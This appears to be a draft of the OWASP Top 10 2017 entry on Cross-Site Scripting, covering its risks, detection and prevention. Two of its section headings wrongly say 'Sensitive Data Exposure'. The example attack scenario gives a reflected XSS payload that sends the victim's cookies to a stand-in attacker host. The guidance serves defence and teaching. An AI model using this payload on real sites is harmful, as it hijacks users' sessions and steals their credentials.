Top 10-2017 A7-Cross-Site Scripting (XSS)

Threat Agents / Attack Vectors		Security Weakness		Impacts
App Specific	Exploitability AVERAGE	Prevalence VERY WIDESPREAD	Detectability AVERAGE	Impact MODERATE	Business ?
Consider anyone who can send untrusted data to the system, including external users, business partners, other systems, internal users, and administrators.	Attackers send text-based attack scripts that exploit the interpreter in the browser. Almost any source of data can be an attack vector, including internal sources such as data from the database.	XSS flaws occur when an application updates a web page with attacker controlled data without properly escaping that content or using a safe JavaScript API. There are two primary categories of XSS flaws: (1) Stored and (2) Reflected, and each of these can occur on the a) Server or b) on the Client. Detection of most Server XSS flaws is fairly easy via testing or code analysis. Client XSS is very difficult to identify.		Attackers can execute scripts in a victim’s browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user’s browser using malware, etc.	Consider the business value of the affected system and all the data it processes. Also consider the business impact of public exposure of the vulnerability.

Am I Vulnerable To 'Sensitive Data Exposure'?

An application has a Cross-Site Scripting vulnerability if it fails to encode output of user data according to its context in HTML, resulting in crossing the boundary with the scripts sent to the browser. In addition, a vulnerable application could fail to white-list potentially malicious data sources such as window.name, document.referer before passing them to unsafe JavaScript APIs such as window.eval(), window.setTimeout(), document.write(), new Function().

Automated tools can find some XSS vulnerabilities and miss others. Besides, each application builds output pages differently and relies on different browser side interpreters such as JavaScript, ActiveX, Flash, Silverlight. The scripts sent to the browser may rely on additional script libraries. Single-page applications may process input on the client side and generate requests to the server independently from user actions. This diversity makes discovering all possible HTTP requests difficult. Test tools may improve the coverage by connecting to a browser that would execute scripts generated by the application and by sending operating system level or browser level input events to the browser. Static and "interactive" analysis may help uncover additional XSS vulnerabilities whose exposure to automated queries depends on a sequence of HTTP requests.

How Do I Prevent 'Sensitive Data Exposure'?

Preventing XSS requires separation of untrusted data from active browser content.

Escaping untrusted HTTP request data based on the context in the HTML output (body, attribute, JavaScript, CSS, or URL) will resolve Server XSS vulnerabilities. The OWASP XSS Prevention Cheat Sheet has details on the required data escaping techniques.
Applying context sensitive encoding when modifying the browser document on the client side acts against Client XSS. Details specific to client-side input processing reside in OWASP DOM based XSS Prevention Cheat Sheet.
Enabling a Content Security Policy (CSP) and moving inline javascript code to additional files will defend against XSS across the entire site, assuming no other vulnerabilities (such as upload path tampering or download path traversal) exist that would allow placing malicious code in the server files.

Example Attack Scenarios

The application generating response in https://target.test/dashboard uses untrusted data in the construction of the following HTML snippet without validation or escaping:

(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";

The attacker manipulates the `CC' parameter to the following value

'><script>document.location='http://www.attacker.com/log?cookies='+encodeURIComponent(document.cookie)</script><foobar p='

in the query string and sends the resulting link https://target.test/dashboard?CC=... with the malicious value to the victim. Alternatively, the attacker can wait for the victim to visit another vulnerable site that will redirect to the target site using the above link. The victim's browser will render the target site's HTML text violated in structure and purpose by the above `CC' parameter value.

<input name='creditcard' type='TEXT' value=''><script>document.location='http://www.attacker.com/log?cookies='+encodeURIComponent(document.cookie)</script><foobar p=''>

This attack causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session. Note that attackers can also use XSS to defeat any automated CSRF defense the application might employ. See 2017-A8 for info on CSRF.

References

OWASP